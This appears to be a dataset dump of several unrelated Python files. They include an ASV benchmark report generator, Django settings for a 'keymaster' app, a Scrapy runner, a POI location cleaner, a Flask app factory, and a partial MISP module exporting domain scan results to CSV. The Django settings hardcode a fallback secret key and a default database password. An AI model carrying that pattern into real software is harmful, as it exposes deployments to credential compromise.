(c) 2019, Intel Corporation All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# Redistributions of source code must retain the above copyright notice,\n# this list of conditions and the following disclaimer.\n#\n# Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR\n# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;\n# OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR\n# OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,\n# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n# *****************************************************************************\n\n\"\"\"\nHTML report generator based on ASV output as JSON.\n\nExample usage:\npython asvgen.py --asv-results .asv/results --template template/asvgen.html\n\"\"\"\nimport argparse\nimport json\nimport itertools\nfrom pathlib import Path\n\nimport jinja2\n\n\nclass ASVGen:\n machine_json = 'machine.json'\n\n def __init__(self, results_path, template_path):\n \"\"\"\n :param results_path: path to ASV results\n :param template_path: path to HTML template\n \"\"\"\n self.results_path = results_path\n self.template_path = template_path\n\n @property\n def result_subdirs(self):\n \"\"\"Result sub-directories\"\"\"\n return (p for p in self.results_path.iterdir() if p.is_dir())\n\n def render_template(self, context):\n \"\"\"\n Render specified HTML template via specified context\n\n :param name: name of the template file\n :param context: context to render template\n :param templates_path: path to directory with templates\n :return: rendered template\n \"\"\"\n template_loader = jinja2.FileSystemLoader(searchpath=self.template_path.parent.as_posix())\n template_env = jinja2.Environment(loader=template_loader)\n template = template_env.get_template(self.template_path.name)\n\n return template.render(context)\n\n def generate(self):\n \"\"\"Generate HTML reports based on ASV results\"\"\"\n for subdir in self.result_subdirs:\n machine_info = {}\n machine_json_path = subdir / self.machine_json\n if machine_json_path.exists():\n with machine_json_path.open(encoding='utf-8') as fd:\n machine_info = json.load(fd)\n for res_path in subdir.glob('*.json'):\n if res_path.name == self.machine_json:\n # Skip machine info file\n continue\n\n with res_path.open(encoding='utf-8') as fd:\n results = json.load(fd)['results']\n data = {}\n for benchmark, result in results.items():\n # combine benchmarks parameters to match parameters combinations and results, e.g.:\n # result['params'] = [[0, 1], ['interpreted', 'compiled']]\n # params = [(0, 'interpreted'), (0, 'compiled'), (1, 'interpreted'), (1, 'compiled')]\n # result['results'] = [1.87, 1.31, 1.85, 1.28]\n # def time_smth(0, 'interpreted'): ... => 1.87\n params = itertools.product(*result.get('params', []))\n for params, res, stats in zip(params, result['result'], result['stats']):\n bench_args = ', '.join([str(p) for p in params])\n data[f'{benchmark}({bench_args})'] = {'result': res, 'stats': stats}\n context = {\n 'extra_info': machine_info,\n 'data': data\n }\n rendered_template = self.render_template(context)\n output_html = res_path.parent / f'{res_path.stem}.html'\n output_html.write_text(rendered_template, encoding='utf-8')\n\n\ndef parse_args():\n \"\"\"Parse command line arguments\"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument('--asv-results', required='.asv/results', type=Path, help='Path to ASV results directory')\n parser.add_argument('--template', default='templates/asvgen.html', type=Path, help='Path to the html template')\n\n return parser.parse_args()\n\n\ndef main():\n args = parse_args()\n ASVGen(args.asv_results, args.template).generate()\n\n\nif __name__ == '__main__':\n main()\n", "sub_path": "tests_perf/asvgen.py", "file_name": "asvgen.py", "file_ext": "py", "file_size_in_byte": 5161, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "jinja2.FileSystemLoader", "line_number": 66, "usage_type": "call"}, {"api_name": "jinja2.Environment", "line_number": 67, "usage_type": "call"}, {"api_name": "json.load", "line_number": 79, "usage_type": "call"}, {"api_name": "json.load", "line_number": 86, "usage_type": "call"}, {"api_name": "itertools.product", "line_number": 94, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 109, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 110, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 111, "usage_type": "name"}]} +{"seq_id": "208731002", "text": "# coding: utf-8\n\nimport os\nimport sys\nfrom django.core import exceptions\n\nTESTING = len(sys.argv) > 1 and sys.argv[1] == 'test'\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\nADMINS = (\n ('Sergey Levitin', 'selevit@gmail.com'),\n ('Simon Moiseenko', 'simon@webpp.ru'),\n)\nMANAGERS = ADMINS\n\n# Quick-start development settings - unsuitable for production\n# See https://docs.djangoproject.com/en/1.8/howto/deployment/checklist/\n\n# SECURITY WARNING: don't run with debug turned on in production!\nDEBUG = False\n\nSESSION_COOKIE_HTTPONLY = True\nSESSION_COOKIE_DOMAIN = None\nALLOWED_HOSTS = ['demo.keymaster.lan', 'alpha.keymaster.lan']\nSITE_ID = 1\n\nINSTALLED_APPS = (\n 'core',\n 'registration',\n 'flat',\n 'django.contrib.sites',\n 'django.contrib.admin',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n 'django.contrib.auth',\n 'rest_framework',\n 'rest_framework.authtoken',\n 'compressor',\n 'api',\n 'customform',\n 'test_without_migrations',\n 'debug_toolbar',\n 'django.contrib.flatpages',\n 'js_logger',\n)\n\nMIDDLEWARE_CLASSES = (\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.auth.middleware.SessionAuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n 'django.middleware.security.SecurityMiddleware',\n 'django.contrib.flatpages.middleware.FlatpageFallbackMiddleware',\n)\n\nROOT_URLCONF = 'keymaster.urls'\n\nTEMPLATES = [\n {\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'DIRS': [],\n 'APP_DIRS': True,\n 'OPTIONS': {\n 'debug': DEBUG,\n 'context_processors': [\n 'django.template.context_processors.debug',\n 'django.template.context_processors.request',\n 'django.contrib.auth.context_processors.auth',\n 'django.contrib.messages.context_processors.messages',\n ],\n },\n },\n]\n\nWSGI_APPLICATION = 'keymaster.wsgi.application'\n\nLANGUAGE_CODE = 'ru'\nif TESTING:\n LANGUAGE_CODE = 'en' # For functional tests\n\nTIME_ZONE = 'UTC'\nUSE_I18N = True\nUSE_L10N = True\nUSE_TZ = True\n\nLOCALE_PATHS = (\n os.path.join(BASE_DIR, 'locale'),\n)\n\nSTATICFILES_FINDERS = (\n 'django.contrib.staticfiles.finders.FileSystemFinder',\n 'django.contrib.staticfiles.finders.AppDirectoriesFinder',\n 'compressor.finders.CompressorFinder',\n)\n\nSTATIC_URL = '/static/'\nSTATIC_ROOT = os.path.join(BASE_DIR, 'static/')\nMEDIA_ROOT = os.path.join(BASE_DIR, 'media/')\nMEDIA_URL = '/media/'\nADMIN_MEDIA_PREFIX = '/static/admin/'\n\nREST_FRAMEWORK = {\n 'DEFAULT_PERMISSION_CLASSES': (\n 'rest_framework.permissions.IsAuthenticated',\n 'api.permissions.HasKeys',\n ),\n 'DEFAULT_FILTER_BACKENDS': (\n 'rest_framework.filters.DjangoFilterBackend',\n 'rest_framework.filters.OrderingFilter',\n ),\n 'DEFAULT_AUTHENTICATION_CLASSES': (\n 'rest_framework.authentication.TokenAuthentication',\n 'rest_framework.authentication.SessionAuthentication',\n ),\n 'PAGE_SIZE': 1000,\n 'PAGINATE_BY_PARAM': 'page_size',\n 'MAX_PAGINATE_BY': 100\n}\n\nAUTH_USER_MODEL = 'core.User'\nAUTH_USER_EMAIL_UNIQUE = True\nACCOUNT_ACTIVATION_DAYS = 2\n\nCOMPRESS_PRECOMPILERS = (\n ('text/less', 'lessc {infile} {outfile}'),\n)\n\nINTERNAL_IPS = ('127.0.0.1',)\nSEND_BROKEN_LINK_EMAILS = False\n\nCOMPRESS_CSS_FILTERS = ['compressor.filters.cssmin.CSSMinFilter']\nCOMPRESS_PRECOMPILERS = (\n ('text/less', 'lessc {infile} {outfile}'),\n)\nCOMPRESS_OUTPUT_DIR = 'min'\n\n# Private settings (stored in the environment variables)\n\nREQUIRED_ENV_VARS = (\n # 'KEYMASTER_SECRET_KEY',\n # 'KEYMASTER_DB_NAME',\n # 'KEYMASTER_DB_USER',\n # 'KEYMASTER_DB_PASSWORD',\n)\n\nfor varname in REQUIRED_ENV_VARS:\n if varname not in os.environ:\n raise exceptions.ImproperlyConfigured(\n 'Environment variable %s is required' % varname)\n\nSECRET_KEY = os.getenv(\n 'KEYMASTER_SECRET_KEY',\n 'uq--y-2(b=&%aiab#+ild#!i16^xdri&keia&x*8g_jq0)=iy_'\n)\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.postgresql_psycopg2',\n 'NAME': os.getenv('KEYMASTER_DB_NAME', 'keymaster'),\n 'HOST': os.getenv('KEYMASTER_DB_HOST', 'localhost'),\n 'USER': os.getenv('KEYMASTER_DB_USER', 'keymaster'),\n 'PASSWORD': os.getenv('KEYMASTER_DB_PASSWORD', 'keymaster'),\n 'PORT': int(os.getenv('KEYMASTER_DB_PORT', 5432)),\n }\n}\n\n# End private settings\nJS_TEMPLATE_DIR = os.path.join(BASE_DIR, 'core/templates/core/js')\nLOGIN_REDIRECT_URL = '/'\n\nif not os.getenv('DEVELOPMENT') is None:\n from settings_dev import * # NOQA\n", "sub_path": "keymaster/settings.py", "file_name": "settings.py", "file_ext": "py", "file_size_in_byte": 4948, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "sys.argv", "line_number": 7, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path", "line_number": 92, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 102, "usage_type": "call"}, {"api_name": "os.path", "line_number": 102, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 103, "usage_type": "call"}, {"api_name": "os.path", "line_number": 103, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 152, "usage_type": "attribute"}, {"api_name": "django.core.exceptions.ImproperlyConfigured", "line_number": 153, "usage_type": "call"}, {"api_name": "django.core.exceptions", "line_number": 153, "usage_type": "name"}, {"api_name": "os.getenv", "line_number": 156, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 164, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 165, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 166, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 167, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 168, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 173, "usage_type": "call"}, {"api_name": "os.path", "line_number": 173, "usage_type": "attribute"}, {"api_name": "os.getenv", "line_number": 176, "usage_type": "call"}]} +{"seq_id": "594739905", "text": "from collections import namedtuple,deque,defaultdict,OrderedDict,Counter\n\nclass LastUpdateOrderedDict(OrderedDict):\n def __init__(self,capacity):\n super(LastUpdateOrderedDict,self).__init__()\n self._capacity = capacity\n\n def __setitem__(self, key, value):\n containsKey = 1 if key in self else 0\n # 这句不太理解 写的很奇怪\n # 我认为可以写作 if len(self) == self._capacity and not self.containsKey:\n if len(self) - containsKey >= self._capacity:\n last = self.popitem(last=False)\n print('remove:',last)\n if containsKey:\n del self[key]\n print('set:',(key,value))\n else:\n print('add:',(key,value))\n OrderedDict.__setitem__(self,key,value)\nif __name__ == '__main__':\n Point = namedtuple('Point',['x','y'])\n p = Point(1,2)\n print('p:{}\\np.x:{}\\np.y:{}'.format(p,p.x,p.y))\n print(isinstance(p,Point))\n\n print('-'*42)\n q = deque(['a','b','c'])\n q.appendleft('z')\n q.append('d')\n print(q)\n print(q.pop())\n print(q.popleft())\n\n print('-'*42)\n dd = defaultdict(lambda :'N/A')\n dd['key1'] = 'abc'\n print(dd['key1'],dd['key2'])\n\n print('-'*42)\n od = OrderedDict()\n od['z'] = 1\n od['y'] = 2\n od['x'] = 3\n print(od)\n\n print('-'*42)\n l = LastUpdateOrderedDict(3)\n l['x'] = 1\n l['y'] = 2\n l['z'] = 3\n print(l)\n l['a'] = 4\n print(l)\n\n print('-'*42)\n c = Counter()\n for ch in 'programming':\n c[ch] = c[ch]+1\n print(c)", "sub_path": "12_python_buildin_package/2_collections.py", "file_name": "2_collections.py", "file_ext": "py", "file_size_in_byte": 1545, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "collections.OrderedDict", "line_number": 3, "usage_type": "name"}, {"api_name": "collections.OrderedDict.__setitem__", "line_number": 20, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 20, "usage_type": "name"}, {"api_name": "collections.namedtuple", "line_number": 22, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 28, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 36, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 41, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 57, "usage_type": "call"}]} +{"seq_id": "413978334", "text": "# -*- coding: utf-8 -*-\nfrom qqnews.spiders.spider import qqnewsSpider as myspider\n#from model.config import DBSession\nfrom scrapy.crawler import CrawlerProcess\nfrom scrapy.settings import Settings\n\nsettings = Settings()\n\n# crawl settings\nsettings.set(\"USER_AGENT\", \"Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36\")\nsettings.set(\"ITEM_PIPELINES\" , {\n # 'pipelines.DuplicatesPipeline': 200,\n # 'qqnews.pipelines.RedisPipeline': 300,\n 'qqnews.pipelines.JsonWithEncodingPipeline': 301,\n})\n\nprocess = CrawlerProcess(settings)\nprocess.crawl(myspider)\n\nprocess.start()", "sub_path": "qqnews/run.py", "file_name": "run.py", "file_ext": "py", "file_size_in_byte": 637, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "scrapy.settings.Settings", "line_number": 7, "usage_type": "call"}, {"api_name": "scrapy.crawler.CrawlerProcess", "line_number": 17, "usage_type": "call"}, {"api_name": "qqnews.spiders.spider.qqnewsSpider", "line_number": 18, "usage_type": "argument"}]} +{"seq_id": "330578394", "text": "# coding: utf-8\r\n\"\"\"\r\n1> 对于location中出现的安徽省内的省市区字段进行清洗\r\n2> 若清洗后长度小于等于2，则认为无效清洗的噪音POI，放入清洗后数据中\r\n3> 将location中的括号说明去除\r\n4> 过滤location中表示类似“北门”、“附近”的方位词\r\n5> 若location中出现路、高架、高速则过滤之\r\n\"\"\"\r\nimport re\r\nimport json\r\nimport os\r\nfrom ..settings import *\r\n\r\n\r\nclass location_cleaner(object):\r\n def __init__(self, in_file, in_area, clean_file, without_clean):\r\n self.in_f = open(in_file, \"r+\")\r\n self.area_f = open(in_area, \"r+\")\r\n self.clean_f = open(clean_file, \"w+\")\r\n self.without_clean_f = open(without_clean, \"w+\")\r\n self.pname_list, self.city_list, self.adname_list = [], [], []\r\n self.filter_words = location_filter_words\r\n self.clean_words = location_clean_words\r\n self.pname_pre, self.city_pre, self.adname_pre, self.filter_re, self.clean_re = [], [], [], [], []\r\n self.pname_suf, self.city_suf, self.adname_suf = [], [], []\r\n self.filter_seg = {}\r\n\r\n # 对括号里的说明信息清洗\r\n def bracket_info_clean(self, loc_str):\r\n cleaner = re.compile(u\"\\(.*?\\)\")\r\n result = cleaner.findall(loc_str)\r\n\r\n if len(result) > 0:\r\n loc_str = loc_str.replace(result[0], u'')\r\n\r\n return loc_str\r\n\r\n # 对表示具体方位的信息进行清洗\r\n def direction_info_clean(self, loc_str):\r\n loc_list = [loc_str]\r\n\r\n for cleaner in self.clean_re:\r\n result = cleaner.findall(loc_str)\r\n\r\n if result:\r\n loc_list = [loc_str.replace(result[0], u'')]\r\n break\r\n\r\n return u\";\".join(loc_list)\r\n\r\n # main function\r\n def clean(self):\r\n self.init_re_obj()\r\n line = self.in_f.readline()\r\n\r\n while line:\r\n self.filter_seg = {u\"pname\": u\"\", u\"city\": u\"\", u\"adname\": u\"\"}\r\n infos = line.strip().split(\"\\t\")\r\n init_loc = infos[0].decode(\"utf-8\")\r\n\r\n if self.skip_record(init_loc):\r\n line = self.in_f.readline()\r\n continue\r\n\r\n # 清洗前缀\r\n result_loc = self.sub_str_clean(init_loc, self.pname_pre, u\"pname\")\r\n result_loc = self.sub_str_clean(result_loc, self.city_pre, u\"city\")\r\n result_loc = self.sub_str_clean(result_loc, self.adname_pre, u\"adname\")\r\n # 清洗后缀\r\n result_loc = self.sub_str_clean(result_loc, self.pname_suf, u\"pname\")\r\n result_loc = self.sub_str_clean(result_loc, self.city_suf, u\"city\")\r\n result_loc = self.sub_str_clean(result_loc, self.adname_suf, u\"adname\")\r\n # 清洗括号中的说明和方位信息\r\n result_loc = self.bracket_info_clean(result_loc)\r\n result_loc = self.direction_info_clean(result_loc)\r\n\r\n if result_loc == init_loc: # 保存未清洗location\r\n self.without_clean_f.write((\"\\t\".join(infos) + \"\\n\"))\r\n elif len(result_loc) > 2: # 保存清洗后满足长度限制location， 不满足长度要求的POI为噪音数据，跳过\r\n infos[0] = result_loc.encode('utf-8')\r\n infos.append(init_loc.encode('utf-8'))\r\n infos.append(json.dumps(self.filter_seg, ensure_ascii=False, encoding='utf-8').encode('utf-8'))\r\n self.clean_f.write((\"\\t\".join(infos) + \"\\n\"))\r\n\r\n line = self.in_f.readline()\r\n self.close()\r\n\r\n def init_re_obj(self):\r\n self.load_filter_seg()\r\n self.pname_pre = [re.compile((\"^\"+re_str).decode(\"utf-8\")) for re_str in self.pname_list]\r\n self.city_pre = [re.compile((\"^\"+re_str).decode(\"utf-8\")) for re_str in self.city_list]\r\n self.adname_pre = [re.compile((\"^\"+re_str).decode(\"utf-8\")) for re_str in self.adname_list]\r\n\r\n self.pname_suf = [re.compile((re_str+\"$\").decode(\"utf-8\")) for re_str in self.pname_list]\r\n self.city_suf = [re.compile((re_str+\"$\").decode(\"utf-8\")) for re_str in self.city_list]\r\n self.adname_suf = [re.compile((re_str+\"$\").decode(\"utf-8\")) for re_str in self.adname_list]\r\n\r\n self.filter_re = [re.compile(re_str.decode(\"utf-8\")) for re_str in self.filter_words]\r\n self.clean_re = [re.compile((re_str+\"$\").decode(\"utf-8\")) for re_str in self.clean_words]\r\n\r\n # 加载省市区县的信息作为后续过滤字段\r\n def load_filter_seg(self):\r\n\r\n for line in self.area_f.readlines():\r\n infos = line.strip().split(\"\\t\")\r\n\r\n for area in infos[0].strip().split(\";\"):\r\n if area not in self.adname_list:\r\n self.adname_list.append(area)\r\n\r\n for pname in infos[2].strip().split(\";\"):\r\n if pname not in self.pname_list:\r\n self.pname_list.append(pname)\r\n\r\n for city in infos[3].strip().split(\";\"):\r\n if city not in self.city_list:\r\n self.city_list.append(city)\r\n\r\n # 对混入的其他类型POI过滤\r\n def skip_record(self, loc_str):\r\n for re_filter in self.filter_re:\r\n find_re = re_filter.findall(loc_str)\r\n\r\n if find_re:\r\n return True\r\n return False\r\n\r\n # 清洗前后缀子串,省市区分别调用\r\n def sub_str_clean(self, loc_str, clean_dict, clean_str):\r\n result = loc_str\r\n\r\n for re_str in clean_dict:\r\n se_re = re_str.findall(loc_str)\r\n if len(se_re) > 0:\r\n skip_seg = se_re[0]\r\n skip_result = result.strip(skip_seg)\r\n result = skip_result\r\n self.filter_seg[clean_str] = skip_seg\r\n break\r\n\r\n return result\r\n\r\n def close(self):\r\n self.in_f.close()\r\n self.area_f.close()\r\n self.clean_f.close()\r\n self.without_clean_f.close()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n base_dir = \"F:/carInsurance/POI/gaodei/location/filter_expand_second/expand\"\r\n out_dir = \"F:/carInsurance/POI/gaodei/location/filter_expand_second/clean\"\r\n location_file = [\"anhui_location.txt\", \"hefei_location.txt\"]\r\n\r\n for file in location_file:\r\n area_in = os.path.join(base_dir, 'anhui_adname.txt')\r\n location_in = os.path.join(base_dir, file)\r\n clean_file = os.path.join(out_dir, \"clean_\"+file)\r\n wt_clean_file = os.path.join(out_dir, \"without_clean_\"+file)\r\n cleaner = location_cleaner(location_in, area_in, clean_file, wt_clean_file)\r\n cleaner.clean()\r\n", "sub_path": "poi_engine/poi_processor/cleaner/loc_cleaner.py", "file_name": "loc_cleaner.py", "file_ext": "py", "file_size_in_byte": 6585, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "re.compile", "line_number": 30, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 82, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 90, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 91, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 92, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 94, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 95, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 96, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 98, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 99, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 156, "usage_type": "call"}, {"api_name": "os.path", "line_number": 156, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 157, "usage_type": "call"}, {"api_name": "os.path", "line_number": 157, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 158, "usage_type": "call"}, {"api_name": "os.path", "line_number": 158, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 159, "usage_type": "call"}, {"api_name": "os.path", "line_number": 159, "usage_type": "attribute"}]} +{"seq_id": "73545231", "text": "#! ../env/bin/python\n\nfrom flask import Flask\nfrom webassets.loaders import PythonLoader as PythonAssetsLoader\n\nfrom silverflask import assets\nimport os\n\nfrom silverflask.extensions import (\n cache,\n assets_env,\n debug_toolbar,\n login_manager\n)\n\nfrom silverflask.filestorage_backend import LocalFileStorageBackend\nfrom flask.ext.sqlalchemy import SQLAlchemy\n\nfrom flask_user import UserManager, SQLAlchemyAdapter\n\ndb = SQLAlchemy()\n\ndb_adapter = SQLAlchemyAdapter(db, \"User\")\nuser_manager = None\n\nimport logging\nlogger = logging.getLogger(\"silverflask\")\n\n\ndef create_app(object_name, env=\"prod\"):\n \"\"\"\n An flask application factory, as explained here:\n http://flask.pocoo.org/docs/patterns/appfactories/\n\n Arguments:\n object_name: the python path of the config object,\n e.g. appname.settings.ProdConfig\n\n env: The name of the current environment, e.g. prod or dev\n \"\"\"\n app = Flask(__name__)\n\n app.config.from_object(object_name)\n\n upload_path = os.path.join(app.instance_path, app.config[\"SILVERFLASK_UPLOAD_FOLDER\"])\n app.config[\"SILVERFLASK_ABSOLUTE_UPLOAD_PATH\"] = upload_path\n app.storage_backend = LocalFileStorageBackend(upload_path)\n app.config['ENV'] = env\n\n db.init_app(app)\n logger.debug(\"DB Initialized\")\n\n # init the cache\n cache.init_app(app)\n\n debug_toolbar.init_app(app)\n\n from silverflask.models import User\n user_adapter = SQLAlchemyAdapter(db, User)\n user_manager = UserManager(user_adapter, app)\n user_manager.enable_login_without_confirm_email = True\n\n # Import and register the different asset bundles\n assets_env.init_app(app)\n assets_loader = PythonAssetsLoader(assets)\n for name, bundle in list(assets_loader.load_bundles().items()):\n assets_env.register(name, bundle)\n\n # register our blueprints\n from silverflask.controllers.main import main\n from silverflask.controllers.main import setup_processors\n setup_processors(app)\n from silverflask.controllers.cms import bp as cms_bp\n app.register_blueprint(main)\n app.register_blueprint(cms_bp, url_prefix='/admin')\n\n with app.app_context():\n db.create_all()\n return app", "sub_path": "silverflask/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 2201, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "flask.ext.sqlalchemy.SQLAlchemy", "line_number": 21, "usage_type": "call"}, {"api_name": "flask_user.SQLAlchemyAdapter", "line_number": 23, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 27, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path", "line_number": 45, "usage_type": "attribute"}, {"api_name": "silverflask.filestorage_backend.LocalFileStorageBackend", "line_number": 47, "usage_type": "call"}, {"api_name": "silverflask.extensions.cache.init_app", "line_number": 54, "usage_type": "call"}, {"api_name": "silverflask.extensions.cache", "line_number": 54, "usage_type": "name"}, {"api_name": "silverflask.extensions.debug_toolbar.init_app", "line_number": 56, "usage_type": "call"}, {"api_name": "silverflask.extensions.debug_toolbar", "line_number": 56, "usage_type": "name"}, {"api_name": "flask_user.SQLAlchemyAdapter", "line_number": 59, "usage_type": "call"}, {"api_name": "silverflask.models.User", "line_number": 59, "usage_type": "argument"}, {"api_name": "flask_user.UserManager", "line_number": 60, "usage_type": "call"}, {"api_name": "silverflask.extensions.assets_env.init_app", "line_number": 64, "usage_type": "call"}, {"api_name": "silverflask.extensions.assets_env", "line_number": 64, "usage_type": "name"}, {"api_name": "webassets.loaders.PythonLoader", "line_number": 65, "usage_type": "call"}, {"api_name": "silverflask.assets", "line_number": 65, "usage_type": "argument"}, {"api_name": "silverflask.extensions.assets_env.register", "line_number": 67, "usage_type": "call"}, {"api_name": "silverflask.extensions.assets_env", "line_number": 67, "usage_type": "name"}, {"api_name": "silverflask.controllers.main.setup_processors", "line_number": 72, "usage_type": "call"}, {"api_name": "silverflask.controllers.main.main", "line_number": 74, "usage_type": "argument"}, {"api_name": "silverflask.controllers.cms.bp", "line_number": 75, "usage_type": "argument"}]} +{"seq_id": "504209104", "text": "import json\r\nimport base64\r\nimport datetime\r\nimport csv\r\nimport io\r\n\r\nmisperrors = {'error': 'Error'}\r\n\r\n# possible module-types: 'expansion', 'hover' or both\r\nmoduleinfo = {'version': '1', 'author': 'Hannah Ward',\r\n 'description': 'Export domain/ip scan results in csv format',\r\n 'module-type': ['export']}\r\n\r\n\r\nfieldmap = {\r\n \"domain\": \"Domains/IPs\",\r\n \"hostname\": \"Domain/IPs\",\r\n \"ip-src\": \"Domain/IPs\",\r\n \"ip-dst\": \"Domain/IPs\",\r\n \"url\": \"Domain/IPs\"\r\n}\r\n\r\nmispattributes = {'input':list(fieldmap.keys())}\r\noutputFileExtension = \"csv\"\r\nresponseType = \"application/txt\"\r\n\r\ndef handler(q=False):\r\n if q is False:\r\n return False\r\n request = json.loads(q)\r\n\r\n print(request)\r\n response = io.StringIO()\r\n\r\n # Define field names\r\n writer = csv.DictWriter(response, fieldnames=[\"Type\", \"Value\", \"Virustotal Detection Ratio\", \"Quttera.com\", \"Sucuri\", \"Port status\"])\r\n\r\n writer.writeheader()\r\n\r\n for event in request[\"data\"]:\r\n for attribute in event[\"Attribute\"]:\r\n\r\n # Write scan results to rows\r\n if attribute[\"type\"] in mispattributes[\"input\"]:\r\n writer.writerow({\r\n \"Type\": fieldmap[attribute[\"type\"]],\r\n \"Value\": attribute[\"value\"],\r\n \"Virustotal Detection Ratio\": getvtResult(attribute[\"comment\"]),\r\n \"Quttera.com\": getQutteraResult(attribute[\"comment\"]),\r\n \"Sucuri\": getSucuriResult(attribute[\"comment\"]),\r\n \"Port status\": getsignal(attribute[\"comment\"])\r\n })\r\n\r\n r = {\"response\":[], \"data\":str(base64.b64encode(bytes(response.getvalue(), 'utf-8')), 'utf-8')}\r\n return r\r\n\r\n# Get starting index\r\ndef st(comment, keyword):\r\n diff = len(keyword)\r\n stPos = comment.find(keyword) + diff\r\n return stPos\r\n\r\n# Retrieve yougetsignal results\r\ndef getsignal(comment):\r\n stPos = st(comment, \"Port 80: \")\r\n endPos = comment.find(\" Port 443\")\r\n p80 = comment[stPos:endPos]\r\n stPos = st(comment, \"Port 443: \")\r\n p443 = comment[stPos:]\r\n result = \"Port 80: \\r\\n\" + p80 + \"\\r\\n\\r\\nPort 443: \" + p443\r\n return result\r\n\r\n# Retrieve Sucuri scan results\r\ndef getSucuriResult(comment):\r\n stPos = st(comment,\"Status: \")\r\n endPos = comment.find(\" Web Trust\")\r\n status = comment[stPos:endPos]\r\n stPos = st(comment, \"Web Trust: \")\r\n endPos = comment.find(\"Port Status\")\r\n webTrust = comment[stPos:endPos]\r\n sucuri = \"Status: \\r\\n\" + status + \"\\r\\n\\r\\nWeb Trust: \\r\\n\" + webTrust\r\n return sucuri\r\n\r\n\r\n# Retrieve Quttera scan results\r\ndef getQutteraResult(comment):\r\n stPos = st(comment, \"Quttera Result: \")\r\n endPos = comment.find(\" Sucuri\") \r\n quttera = comment[stPos:endPos]\r\n 